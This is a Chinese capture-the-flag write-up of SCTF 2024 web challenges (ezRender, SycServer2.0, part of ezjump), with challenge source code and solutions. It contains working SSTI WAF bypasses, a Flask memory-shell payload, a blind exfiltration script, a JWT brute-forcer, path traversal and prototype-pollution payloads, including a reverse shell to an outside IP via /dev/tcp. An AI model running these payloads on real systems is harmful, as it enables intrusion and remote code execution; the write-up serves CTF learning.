ezRender
题目描述:Just bypass and injection!!环境每隔十五分钟或者有人读取到flag则会进行重启,下面三个环境相同,推荐本地先打通再尝试远程
hint1:
ulimit -n =2048
cat /etc/timezone : UTC
附件给了所有源码:
app.py
from flask import Flask, render_template, request, render_template_string,redirect
from verify import *
from User import User
import base64
from waf import waf
app = Flask(__name__,static_folder="static",template_folder="templates")
user={}
@app.route('/register', methods=["POST","GET"])
def register():
method=request.method
if method=="GET":
return render_template("register.html")
if method=="POST":
data = request.get_json()
name = data["username"]
pwd = data["password"]
if name != None and pwd != None:
if data["username"] in user:
return "This name had been registered"
else:
user[name] = User(name, pwd)
return "OK"
@app.route('/login', methods=["POST","GET"])
def login():
method=request.method
if method=="GET":
return render_template("login.html")
if method=="POST":
data = request.get_json()
name = data["username"]
pwd = data["password"]
if name != None and pwd != None:
if name not in user:
return "This account is not exist"
else:
if user[name].pwd == pwd:
token=generateToken(user[name])
return "OK",200,{"Set-Cookie":"Token="+token}
else:
return "Wrong password"
@app.route('/admin', methods=["POST","GET"])
def admin():
try:
token = request.headers.get("Cookie")[6:]
except:
return "Please login first"
else:
infor = json.loads(base64.b64decode(token))
name = infor["name"]
token = infor["secret"]
result = check(user[name], token)
method=request.method
if method=="GET":
return render_template("admin.html",name=name)
if method=="POST":
template = request.form.get("code")
if result != "True":
return result, 401
#just only blackList
if waf(template):
return "Hacker Found"
result=render_template_string(template)
print(result)
if result !=None:
return "OK"
else:
return "error"
@app.route('/', methods=["GET"])
def index():
return redirect("login")
@app.route('/removeUser', methods=["POST"])
def remove():
try:
token = request.headers.get("Cookie")[6:]
except:
return "Please login first"
else:
infor = json.loads(base64.b64decode(token))
name = infor["name"]
token = infor["secret"]
result = check(user[name], token)
if result != "True":
return result, 401
rmuser=request.form.get("username")
user.pop(rmuser)
return "Successfully Removed:"+rmuser
if __name__ == '__main__':
# for the safe
del __builtins__.__dict__['eval']
app.run(debug=False, host='0.0.0.0', port=8080)
User.py
import time
class User():
def __init__(self,name,password):
self.name=name
self.pwd = password
self.Registertime=str(time.time())[0:10]
self.handle=None
self.secret=self.setSecret()
def handler(self):
self.handle = open("/dev/random", "rb")
def setSecret(self):
secret = self.Registertime
try:
if self.handle == None:
self.handler()
secret += str(self.handle.read(22).hex())
except Exception as e:
print("this file is not exist or be removed")
return secret
verify.py
import json
import hashlib
import base64
import jwt
from app import *
from User import *
def check(user,crypt):
verify_c=crypt
secret_key = user.secret
try:
decrypt_infor = jwt.decode(verify_c, secret_key, algorithms=['HS256'])
if decrypt_infor["is_admin"]=="1":
return "True"
else:
return "You r not admin"
except:
return 'Don\'t be a Hacker!!!'
def generateToken(user):
secret_key=user.secret
secret={"name":user.name,"is_admin":"0"}
verify_c=jwt.encode(secret, secret_key, algorithm='HS256')
infor={"name":user.name,"secret":verify_c}
token=base64.b64encode(json.dumps(infor).encode()).decode()
return token
waf.py
evilcode=["\\",
"{%",
"config",
"session",
"request",
"self",
"url_for",
"current_app",
"get_flashed_messages",
"lipsum",
"cycler",
"joiner",
"namespace",
"chr",
"request.",
"|",
"%c",
"eval",
"[",
"]",
"exec",
"pop(",
"get(",
"setdefault",
"getattr",
":",
"os",
"app"]
whiteList=[]
def waf(s):
s=str(s.encode())[2:-1].replace("\\'","'").replace(" ","")
if not s.isascii():
return False
else:
for key in evilcode:
if key in s:
return True
return False
粗略一看。需要以admin身份登录。然后在留言板处利用SSTI。其中用户身份是JWT判断的。SSTI存在大量WAF可见waf.py
先解决身份问题。看源码得知JWT密钥是注册的时间+很大的随机。总的密钥长度是:10 位 + 44 位 = 54 位。
import time
class User():
def __init__(self,name,password):
self.name=name
self.pwd = password
self.Registertime=str(time.time())[0:10]
self.handle=None
self.secret=self.setSecret()
def handler(self):
self.handle = open("/dev/random", "rb")
def setSecret(self):
secret = self.Registertime
try:
if self.handle == None:
self.handler()
secret += str(self.handle.read(22).hex())
except Exception as e:
print("this file is not exist or be removed")
return secret
Token的样式是JWT的base64
eyJuYW1lIjogImFkbWluIiwgInNlY3JldCI6ICJleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKdVlXMWxJam9pWVdSdGFXNGlMQ0pwYzE5aFpHMXBiaUk2SWpBaWZRLlhLZmpXU1VkM2JYNEdXUjFCU1EwWUp0V0h5MVhwTzdnbEFNamlxdk1ucUUifQ==
base64解码
{"name": "admin", "secret": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJpc19hZG1pbiI6IjAifQ.XKfjWSUd3bX4GWR1BSQ0YJtWHy1XpO7glAMjiqvMnqE"}
尝试直接伪造,失败了。暂时看来这个JWT无解。
就在这个时候,上hint了:
ulimit -n =2048
cat /etc/timezone : UTC
ulimit -n 2048
指的是 同时 最大允许打开 2048 个文件描述符(文件、套接字等)。如果进程达到这个限制,尝试打开新文件时将会失败,通常会报类似 "Too many open files" 的错误。
同时JWT密钥的后面44位部分来自于文件/dev/random
,他是开了不关的。
那就是说我注册2048个账号后,文件/dev/random
就因为ulimit -n 2048
打不开了,导致JWT密钥只剩下10位时间戳。
首先注册2048个账号(需要注意的是注册账号多了,不仅随机数文件打不开,服务相关文件也打不开,此后所有操作均在yakit中执行,访问路由直接传参)
然后再注册一个账号Jay17
,注册同时本地跑下时间戳是1727576418
import time
from datetime import datetime, timezone
# 打印 Unix 时间戳的前10位
print(str(time.time())[0:10])
# 将时间戳转换为 UTC 时间以验证
# utc_time = datetime.now(timezone.utc)
# print("当前 UTC 时间:", utc_time)
eyJuYW1lIjogIkpheTE3IiwgInNlY3JldCI6ICJleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKdVlXMWxJam9pU21GNU1UY2lMQ0pwYzE5aFpHMXBiaUk2SWpBaWZRLjMtOWVoMWl1WkszM2libEN4V0lZR0FwZmNHUkVVWHBxaHQ4RkdLZ0c1N1UifQ==
解码后:
{"name": "Jay17", "secret": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSmF5MTciLCJpc19hZG1pbiI6IjAifQ.3-9eh1iuZK33iblCxWIYGApfcGREUXpqht8FGKgG57U"}
时间戳范围往前100开始爆破密钥
import jwt
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSmF5MTciLCJpc19hZG1pbiI6IjAifQ.3-9eh1iuZK33iblCxWIYGApfcGREUXpqht8FGKgG57U" # 题目中的 token
#password_file = "C:\\Users\\86159\\PycharmProjects\\pythonProject\\WEB-xxx\\JWT\\jwtpassword.txt" # 密码字典文件
password_file = "./jwtpassword.txt" # 枚举密码字典文件
with open(password_file,'rb') as file:
for line in file:
line = line.strip() # 去除每行后面的换行
try:
jwt.decode(token, verify=True, key=line, algorithms="HS256") # 设置编码方式为 HS256
print('key: ', line.decode('ascii'))
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError
, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError): # 出现这些错误,虽然表示过期之类的错误,但是密钥是正确的
print("key: ", line.decode('ascii'))
break
except jwt.exceptions.InvalidSignatureError: # 签名错误则表示密钥不正确
print("Failed: ", line.decode('ascii'))
continue
else:
print("Not Found.")
伪造好的JWT:
eyJuYW1lIjogIkpheTE3IiwgInNlY3JldCI6ICJleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKdVlXMWxJam9pU21GNU1UY2lMQ0pwYzE5aFpHMXBiaUk2SWpFaWZRLjBuVkp5NmpEaC0yRVRFWUtZWmcxNmFMTWxURTBDbFdzTWtxUzdfRmVEbjAifQ==
这题好像没回显
本地搭建是有回显的:
from flask import Flask, render_template, request, render_template_string,redirect
app = Flask(__name__,static_folder="static",template_folder="templates")
evilcode=["\\",
"{%",
"config",
"session",
"request",
"self",
"url_for",
"current_app",
"get_flashed_messages",
"lipsum",
"cycler",
"joiner",
"namespace",
"chr",
"request.",
"|",
"%c",
"eval",
"[",
"]",
"exec",
"pop(",
"get(",
"setdefault",
"getattr",
":",
"os",
"app"]
whiteList=[]
def waf(s):
s=str(s.encode())[2:-1].replace("\\'","'").replace(" ","")
if not s.isascii():
return False
else:
for key in evilcode:
if key in s:
return True
return False
@app.route('/', methods=["POST"])
def index():
template = request.form.get("code")
if waf(template):
return "Hacker Found"
result=render_template_string(template)
return result
if __name__ == '__main__':
# for the safe
del __builtins__.__dict__['eval']
app.run(debug=False, host='0.0.0.0', port=8080)
接下来就是思考如何SSTI了
看源码不难发现,eval被删掉了
if __name__ == '__main__':
# for the safe
del __builtins__.__dict__['eval']
app.run(debug=False, host='0.0.0.0', port=8080)
先试试fenjing,打通了
{{x.__init__.__globals__.__builtins__.__import__('OS'.lower()).popen('echo f3n j1ng;').read()}}
但是题目是无回显的,只能说明waf强度不高。我们得想办法利用。首先想到的就是内存马了。既然不让用eval那就用exec。
发现了两种拿exec的方法
code={{g.pop.__globals__.__builtins__.__getitem__('EXEC'.lower())("print('123')")}}
code={{g.pop.__globals__.__builtins__.__getitem__('ex''ec')("print('123')")}}
本地通远端不通。。。。
后来发现,多余用户是需要注销掉的/removeUser
(给的源码总是有用的哈哈哈)。要不然开启不了新的文件,导致因为执行其他操作也要打开文件(比如说对于一些底层文件的调用)。
一切正常后继续凿题。
之前已经实现了exec执行任意代码
code={{g.pop.__globals__.__builtins__.__getitem__('EXEC'.lower())("print('123')")}}
exec中选择使用bytes.fromhex()
函数编码需要执行的代码,16进制形式不受任何waf限制。同时需要两个exec,一个执行bytes.fromhex()
解码,一个执行解码后的内存马rce。(也可以使用base64绕{{g.pop.__globals__.__builtins__.__getitem__('EXEC'.lower())("import base64;ex"+"ec(base64.b64decode(b'XXX').decode())}}
)
内存马这里需要用新版的。
payload = "__import__(\"sys\").modules.__getitem__(\"__main__\").__dict__.__getitem__(\"APP\".lower()).before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen('/readflag').read())"
encoded_payload = payload.encode('utf-8').hex()
final_payload = f"bytes.fromhex('{encoded_payload}').decode('utf-8')"
print(final_payload)
payload:
code={{g.pop.__globals__.__builtins__.__getitem__('EXEC'.lower())("__import__('builtins').__dict__.__getitem__('EXEC'.lower())(bytes.fromhex('5f5f696d706f72745f5f282273797322292e6d6f64756c65732e5f5f6765746974656d5f5f28225f5f6d61696e5f5f22292e5f5f646963745f5f2e5f5f6765746974656d5f5f2822415050222e6c6f7765722829292e6265666f72655f726571756573745f66756e63732e73657464656661756c74284e6f6e652c205b5d292e617070656e64286c616d626461203a5f5f696d706f72745f5f28276f7327292e706f70656e28272f72656164666c616727292e72656164282929').decode('utf-8'))")}}
/admin
路由下打SSTI,之后GET访问得到flag。
赛后交流发现有师傅是利用SSTI盲注拿flag的,学习下。(感谢Z3r4y师傅~)
import base64
import string
import requests
code = r"""import os
flag = os.popen('/readflag | base64 | tr "\n" "-"').read()
if flag[{}] {} '{}':
print(1)
else:
raise Exception('Wrong')"""
payload = """{{{{x.__init__.__globals__.__builtins__.__getitem__('ex''ec')(x.__init__.__globals__.__builtins__.__getitem__('__import__')('base64').b64decode('{}').decode(),x.__init__.__globals__)}}}}"""
final_flag = ""
for flag_len in range(0, 100):
left, right = 32, 127
while left <= right:
mid = (left + right) // 2
code_tmp = code.format(flag_len, '>=', chr(mid))
payload_tmp = payload.format(base64.b64encode(code_tmp.encode()).decode())
r = requests.post(
"http://1.95.82.67:29505/admin",
cookies={
"Token": "eyJuYW1lIjogIm9MWEFoaCIsICJzZWNyZXQiOiAiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnVZVzFsSWpvaWIweFlRV2hvSWl3aWFYTmZZV1J0YVc0aU9pSXhJbjAuNkIweEJ3YUdFS0psZU5DX3NEZ3pwX0x6dFJQZGF1dnNDaWo0X09QQmdBWSJ9"
},
data={
"code": payload_tmp,
},
)
if r.status_code == 200:
left = mid + 1
else:
right = mid - 1
final_flag += chr(right)
print(final_flag)
if chr(right) == '=':
break
code
字符串
code = r"""import os
flag = os.popen('/readflag | base64 | tr "\n" "-"').read()
if flag[{}] {} '{}':
print(1)
else:
raise Exception('Wrong')"""
这个 code
字符串是待执行的代码模板。具体含义是:
- 使用
os.popen
执行系统命令/readflag
,并对其输出进行 Base64 编码。命令tr "\n" "-"
将换行符\n
替换为-
,使得结果变成一行。 - 该代码会检查
flag
中第{}
个字符是否符合某种条件:{}
会被替换为字符索引以及判断符号(如>=
)。 - 如果条件成立,打印
1
;否则抛出异常。
payload
模板
payload = """{{{{x.__init__.__globals__.__builtins__.__getitem__('ex''ec')(x.__init__.__globals__.__builtins__.__getitem__('__import__')('base64').b64decode('{}').decode(),x.__init__.__globals__)}}}}"""
这个 payload
字符串是一个模板,包含 的SSTI(即 {{ ... }}
)。它的目的是通过注入代码来执行。
-
x.__init__.__globals__.__builtins__.__getitem__('ex''ec')
调用exec
函数。 -
b64decode('{}')
表示该部分会被替换为 Base64 编码后的代码。然后解码并通过exec
执行。
二分搜索主循环
final_flag = ""
for flag_len in range(0, 100):
left, right = 32, 127
while left <= right:
mid = (left + right) // 2
code_tmp = code.format(flag_len, '>=', chr(mid))
payload_tmp = payload.format(base64.b64encode(code_tmp.encode()).decode())
r = requests.post(
"http://1.95.82.67:29505/admin",
cookies={
"Token": "..." # 这里是用于身份验证的 Token
},
data={
"code": payload_tmp,
},
)
if r.status_code == 200:
left = mid + 1
else:
right = mid - 1
这个部分实现了字符的二进制搜索:
-
初始化变量:
final_flag
用于存储最终的flag
,字符的可能范围是从 32(空格字符)到 127(ASCII 可打印字符的范围)。 -
二分搜索:在字符范围内进行二分搜索,判断
flag[flag_len] >= mid
是否成立。-
code_tmp
是用于执行的代码,flag_len
是字符索引,mid
是当前搜索到的 ASCII 值。 - 该代码通过
base64.b64encode
对code_tmp
进行 Base64 编码后生成payload_tmp
。
-
-
发送请求:使用
requests.post
向目标服务器发送带有code
的请求,并使用特定的Token
进行身份验证。 -
判断结果:
- 如果请求成功 (
r.status_code == 200
),表示flag[flag_len] >= mid
,于是调整搜索范围,增加left
。 -
否则,减少
right
。通过这个过程,可以逐步猜测出
flag
的每一个字符。
- 如果请求成功 (
SycServer2.0
题目描述:去年VanZY的golang Server被师傅们打烂了,今年他给自己搓的客户端写了个新的服务端,嘿嘿,我狠狠的加密,看你们怎么打
注意:请进入环境下发题目容器,5000端口不在题目范围内,请不要攻击,容器会在30分钟后自动销毁,如果下发容器卡顿,请尝试另外两台服务器
开局先扫一下路由
/config
路由中记录了RSA公钥,登录时候密码都是经过加密的
/robots.txt
文件中包含了一个奇怪路由,但是需要登录后访问。
那么我们首先想办法登录。
根据前端加密撰写脚本。跑了几小时,逐渐发现他可能不是想让我爆破
import requests
import json
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from base64 import b64encode
# 模拟获取到的公钥(这里需要填写实际的公钥)
public_key_str = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ
TfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC
XmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe
I+Atul1rSE0APhHoPwIDAQAB
-----END PUBLIC KEY-----"""
# 已知的用户名
username = "admin"
# RSA加密函数
def encrypt_password(public_key_str, password):
public_key = RSA.import_key(public_key_str)
cipher = PKCS1_v1_5.new(public_key)
encrypted_password = cipher.encrypt(password.encode())
# 转换为base64编码,确保与前端JS加密匹配
return b64encode(encrypted_password).decode('utf-8')
# 从文件中读取密码列表
def read_passwords_from_file(file_path):
try:
with open(file_path, 'r') as file:
passwords = [line.strip() for line in file.readlines()]
return passwords
except FileNotFoundError:
print(f"未找到文件: {file_path}")
return []
# 爆破函数
def brute_force_login(password_file_path):
password_list = read_passwords_from_file(password_file_path)
if not password_list:
print("密码列表为空,无法进行爆破。")
return False
for password in password_list:
# 加密密码
encrypted_password = encrypt_password(public_key_str, password)
print(encrypted_password)
# 准备发送的数据
form_data = {
'username': username,
'password': encrypted_password
}
# 发送登录请求
try:
response = requests.post('http://1.95.83.156:21614/login',
headers={'Content-Type': 'application/json'},
data=json.dumps(form_data))
# 获取服务器响应
result = response.json()
print(result)
# 检查返回的 'message' 是否是 'Errow Password!'
if result.get("message") == 'Errow Password!':
print(f"[-] 登录失败,尝试密码: {password}")
else:
print(f"[+] 登录成功!用户名: {username}, 密码: {password}")
return True # 找到正确的密码,停止爆破
except Exception as e:
print(f"请求失败: {e}")
continue
print("爆破完成,未找到正确的密码。")
return False
# 指定字典文件路径
password_file_path = "C:\\Users\\35393\\Desktop\\WEB!!!\\密码本\\1-密码本64.txt"
# 运行爆破程序
brute_force_login(password_file_path)
继续盯前端源码,存在sql的waf,那我试试sql
6
拿上cookie继续做题
读取源码(赛博厨子转zip)
/ExP0rtApi?v=static&f=1.jpeg
/ExP0rtApi?v=./&f=app.js
当然也可以这样子读文件:
/ExP0rtApi?v=..././..././..././..././..././..././&f=/etc/passwd
但是没权限读flag哈哈
源码:
const express = require('express');
const fs = require('fs');
var nodeRsa = require('node-rsa');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const SECRET_KEY = crypto.randomBytes(16).toString('hex');
const path = require('path');
const zlib = require('zlib');
const mysql = require('mysql')
const handle = require('./handle');
const cp = require('child_process');
const cookieParser = require('cookie-parser');
const con = mysql.createConnection({
host: 'localhost',
user: 'ctf',
password: 'ctf123123',
port: '3306',
database: 'sctf'
})
con.connect((err) => {
if (err) {
console.error('Error connecting to MySQL:', err.message);
setTimeout(con.connect(), 2000); // 2秒后重试连接
} else {
console.log('Connected to MySQL');
}
});
const {response} = require("express");
const req = require("express/lib/request");
var key = new nodeRsa({ b: 1024 });
key.setOptions({ encryptionScheme: 'pkcs1' });
var publicPem = `-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----`;
var privatePem = `-----BEGIN PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALmcnNJe2PEAHa27
PlYP0H/+8tBN8JRNz4A7Ck10Gw7KhFy6m4GaHxdJWeblHgRdZLpysvkrctl7m87l
i+aKyoCrYgJeZYXgvBQhR+Tj/ZxAs2X4DRzOWyQFm+NBzM4pcH7K8/jEwNe5zWEi
6OeoWXA6kZ4j4C26XWtITQA+Eeg/AgMBAAECgYA+eBhLsUJgckKK2y8StgXdXkgI
lYK31yxUIwrHoKEOrFg6AVAfIWj/ZF+Ol2Qv4eLp4Xqc4+OmkLSSwK0CLYoTiZFY
Jal64w9KFiPUo1S2E9abggQ4omohGDhXzXfY+H8HO4ZRr0TL4GG+Q2SphkNIDk61
khWQdvN1bL13YVOugQJBAP77jr5Y8oUkIsQG+eEPoaykhe0PPO408GFm56sVS8aT
6sk6I63Byk/DOp1MEBFlDGIUWPjbjzwgYouYTbwLwv8CQQC6WjLfpPLBWAZ4nE78
dfoDzqFcmUN8KevjJI9B/rV2I8M/4f/UOD8cPEg8kzur7fHga04YfipaxT3Am1kG
mhrBAkEA90J56ZvXkcS48d7R8a122jOwq3FbZKNxdwKTJRRBpw9JXllCv/xsc2ye
KmrYKgYTPAj/PlOrUmMVLMlEmFXPgQJBAK4V6yaf6iOSfuEXbHZOJBSAaJ+fkbqh
UvqrwaSuNIi72f+IubxgGxzed8EW7gysSWQT+i3JVvna/tg6h40yU0ECQQCe7l8l
zIdwm/xUWl1jLyYgogexnj3exMfQISW5442erOtJK8MFuUJNHFMsJWgMKOup+pOg
xu/vfQ0A1jHRNC7t
-----END PRIVATE KEY-----`;
const app = express();
app.use(bodyParser.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'static')));
app.use(cookieParser());
var Reportcache = {}
function verifyAdmin(req, res, next) {
const token = req.cookies['auth_token'];
if (!token) {
return res.status(403).json({ message: 'No token provided' });
}
jwt.verify(token, SECRET_KEY, (err, decoded) => {
if (err) {
return res.status(403).json({ message: 'Failed to authenticate token' });
}
if (decoded.role !== 'admin') {
return res.status(403).json({ message: 'Access denied. Admins only.' });
}
req.user = decoded;
next();
});
}
app.get('/hello', verifyAdmin ,(req, res)=> {
res.send('<h1>Welcome Admin!!!</h1><br><img src="./1.jpeg" />');
});
app.get('/config', (req, res) => {
res.json({
publicKey: publicPem,
});
});
var decrypt = function(body) {
try {
var pem = privatePem;
var key = new nodeRsa(pem, {
encryptionScheme: 'pkcs1',
b: 1024
});
key.setOptions({ environment: "browser" });
return key.decrypt(body, 'utf8');
} catch (e) {
console.error("decrypt error", e);
return false;
}
};
app.post('/login', (req, res) => {
const encryptedPassword = req.body.password;
const username = req.body.username;
try {
passwd = decrypt(encryptedPassword)
if(username === 'admin') {
const sql = `select (select password from user where username = 'admin') = '${passwd}';`
con.query(sql, (err, rows) => {
if (err) throw new Error(err.message);
if (rows[0][Object.keys(rows[0])]) {
const token = jwt.sign({username, role: username}, SECRET_KEY, {expiresIn: '1h'});
res.cookie('auth_token', token, {secure: false});
res.status(200).json({success: true, message: 'Login Successfully'});
} else {
res.status(200).json({success: false, message: 'Errow Password!'});
}
});
} else {
res.status(403).json({success: false, message: 'This Website Only Open for admin'});
}
} catch (error) {
res.status(500).json({ success: false, message: 'Error decrypting password!' });
}
});
app.get('/ExP0rtApi', verifyAdmin, (req, res) => {
var rootpath = req.query.v;
var file = req.query.f;
file = file.replace(/\.\.\//g, '');
rootpath = rootpath.replace(/\.\.\//g, '');
if(rootpath === ''){
if(file === ''){
return res.status(500).send('try to find parameters HaHa');
} else {
rootpath = "static"
}
}
const filePath = path.join(__dirname, rootpath + "/" + file);
if (!fs.existsSync(filePath)) {
return res.status(404).send('File not found');
}
fs.readFile(filePath, (err, fileData) => {
if (err) {
console.error('Error reading file:', err);
return res.status(500).send('Error reading file');
}
zlib.gzip(fileData, (err, compressedData) => {
if (err) {
console.error('Error compressing file:', err);
return res.status(500).send('Error compressing file');
}
const base64Data = compressedData.toString('base64');
res.send(base64Data);
});
});
});
app.get("/report", verifyAdmin ,(req, res) => {
res.sendFile(__dirname + "/static/report_noway_dirsearch.html");
});
app.post("/report", verifyAdmin ,(req, res) => {
const {user, date, reportmessage} = req.body;
if(Reportcache[user] === undefined) {
Reportcache[user] = {};
}
Reportcache[user][date] = reportmessage
res.status(200).send("<script>alert('Report Success');window.location.href='/report'</script>");
});
app.get('/countreport', (req, res) => {
let count = 0;
for (const user in Reportcache) {
count += Object.keys(Reportcache[user]).length;
}
res.json({ count });
});
//查看当前运行用户
app.get("/VanZY_s_T3st", (req, res) => {
var command = 'whoami';
const cmd = cp.spawn(command ,[]);
cmd.stdout.on('data', (data) => {
res.status(200).end(data.toString());
});
})
app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});
发现const handle = require('./handle');
,读取一下源码
/ExP0rtApi?v=static&f=//....//....//....//....//....//....//....//app/handle/index.js
/ExP0rtApi?v=static&f=//....//....//....//....//....//....//....//app/handle/child_process.js
handle/index.js
var ritm = require('require-in-the-middle');
var patchChildProcess = require('./child_process');
new ritm.Hook(
['child_process'],
function (module, name) {
switch (name) {
case 'child_process': {
return patchChildProcess(module);
}
}
}
);
handle/child_process.js
function patchChildProcess(cp) {
cp.execFile = new Proxy(cp.execFile, { apply: patchOptions(true) });
cp.fork = new Proxy(cp.fork, { apply: patchOptions(true) });
cp.spawn = new Proxy(cp.spawn, { apply: patchOptions(true) });
cp.execFileSync = new Proxy(cp.execFileSync, { apply: patchOptions(true) });
cp.execSync = new Proxy(cp.execSync, { apply: patchOptions() });
cp.spawnSync = new Proxy(cp.spawnSync, { apply: patchOptions(true) });
return cp;
}
function patchOptions(hasArgs) {
return function apply(target, thisArg, args) {
var pos = 1;
if (pos === args.length) {
args[pos] = prototypelessSpawnOpts();
} else if (pos < args.length) {
if (hasArgs && (Array.isArray(args[pos]) || args[pos] == null)) {
pos++;
}
if (typeof args[pos] === 'object' && args[pos] !== null) {
args[pos] = prototypelessSpawnOpts(args[pos]);
} else if (args[pos] == null) {
args[pos] = prototypelessSpawnOpts();
} else if (typeof args[pos] === 'function') {
args.splice(pos, 0, prototypelessSpawnOpts());
}
}
return target.apply(thisArg, args);
};
}
function prototypelessSpawnOpts(obj) {
var prototypelessObj = Object.assign(Object.create(null), obj);
prototypelessObj.env = Object.assign(Object.create(null), prototypelessObj.env || process.env);
return prototypelessObj;
}
module.exports = patchChildProcess;
盯住这里,把var command
污染成任意命令
污染点:
很明显的Node.js child_process.fork 与 env 污染 RCE。
怎么污染参考以下文章,本地调试建议使用IDEA:
网鼎杯2023线下半决赛突破题Errormsg复现 - VanZY's Blog
Node.js child_process.fork 与 env 污染 RCE | Yesterday17's Blog (mmf.moe)
从Kibana-RCE对nodejs子进程创建的思考 - 先知社区 (aliyun.com)
payload1:(把/bin/sh
换成/readflag
)
{"user":"__proto__","date":"2","reportmessage":{"shell":"/readflag"}}
访问/VanZY_s_T3st
payload2:(每次以node执行命令的时候,就会加载NODE_OPTIONS
选项,从而执行/proc/self/cmdline
中存在的js代码)
{"user":"__proto__","date":"2","reportmessage":{"shell":"/proc/self/exe","argv0":"console.log(require('child_process').execSync('bash -c \"/bin/sh -i >& /dev/tcp/124.71.147.99/1717 0>&1\"').toString())//","env":{"NODE_OPTIONS":"--require /proc/self/cmdline"}}}
payload3:(环境变量劫持)
{"user":"__proto__","date":"2","reportmessage":{"shell":"/bin/bash","env":{"BASH_FUNC_whoami%%":"() { /readflag;}"}}}
ezjump
题目描述:Just jump!
附件给了前后端源码:
前端没啥好看的
app.py
import os
import subprocess
import urllib.request
from flask import Flask, request, session, render_template
from Utils.utils import *
app = Flask(__name__)
app.secret_key = os.urandom(32)
@app.route('/', methods=['GET'])
def hello():
return "Welcome to SCTF 2024! Have a Good Time!"
@app.route('/login', methods=['GET'])
def login():
username = request.args.get("username")
password = request.args.get("password")
user =get_user(username)
if user:
if password == user['password']:
if user['role']=="admin":
cmd=request.args.get("cmd")
if not cmd:
return "No command provided", 400
if waf(cmd):
return "nonono"
try:
result = subprocess.run(['curl', cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE,text=True,encoding='utf-8')
return result.stdout
except Exception as e:
return f"Error: {str(e)}", 500
else:
session['username'] = username
session['role'] = user['role']
return render_template('index.html', username=session['username'], role=session['role'])
else:
session['username'] = 'guest'
session['role'] = 'noBody'
return render_template('index.html', username=session['username'], role=session['role'])
else:
add_user(username, password, 'n0B0dy')
user = get_user(username)
if user:
session['username'] = username
session['role'] = 'noBody'
else:
session['username'] = 'guest'
session['role'] = 'noBody'
return render_template('index.html', username=session['username'], role=session['role'])
return "Please give me username and password!"
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=5000)
utils.py
import base64,json
from Utils import redis as r
def get_user(username):
user_info_serialized = r.GET(f'user:{username}')
if user_info_serialized:
user_info = json.loads(base64.b64decode(user_info_serialized).decode())
return user_info
else:
return None
return None
def add_user(username, password, role):
user_info = {'password': password, 'role': role}
user_info_json = json.dumps(user_info)
user_info_serialized = base64.b64encode(user_info_json.encode()).decode()
r.SET(f'user:{username}', user_info_serialized)
def waf(url):
if url.startswith(('file://', 'gopher://')):
return True
else:
return False
redis.py
import socket
REDIS_HOST = '172.11.0.4'
REDIS_PORT = 6379
def pack_command(*args):
# 构建 RESP 请求
command = f"*{len(args)}\r\n"
for arg in args:
arg_str = str(arg)
command += f"${len(arg_str)}\r\n{arg_str}\r\n"
return command.encode('utf-8')
def connect_redis():
redis_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
redis_socket.connect((REDIS_HOST, REDIS_PORT))
return redis_socket
def GET(key):
redis_socket = connect_redis()
try:
# 发送命令
command = pack_command('GET', key)
redis_socket.sendall(command)
# 接收响应
response = b''
while True:
chunk = redis_socket.recv(1024)
response += chunk
if response.endswith(b'\r\n'):
break
finally:
redis_socket.close()
if "$-1\r\n" in response.decode('utf-8'):
return None
# 提取真实内容
result_start_idx = response.index(b'\r\n') + 2 # 跳过第一行响应
result_end_idx = response.index(b'\r\n', result_start_idx) # 找到第二个\r\n
real_content = response[result_start_idx:result_end_idx]
return real_content
def SET(key, value):
redis_socket = connect_redis()
try:
# 发送命令
command = pack_command('SET', key, value)
command = WAF(command)
redis_socket.sendall(command)
# 接收响应
response = b''
while True:
chunk = redis_socket.recv(1024)
response += chunk
if response.endswith(b'\r\n'):
break
finally:
redis_socket.close()
return response.decode('utf-8')
def WAF(key):
if b'admin' in key:
key = key.replace(b'admin', b'hacker')
return key
正常来说应该是ssrf到python服务,但是这里貌似没有可以ssrf的参数
坐牢半天唐麻了,三个月前刚刚写过
https://blog.csdn.net/Jayjay___/article/details/140319709#:~:text=CVE-2024-1
首先验证SSRF是否存在,盯住redirect("/play")
也就从/success
跳转到/play
172.11.0.3:5000
dockerfile给的python服务内网地址和端口
服务器上运行
from flask import Flask, request, Response, redirect
app = Flask(__name__)
@app.route('/play')
def exploit():
# CORS preflight check
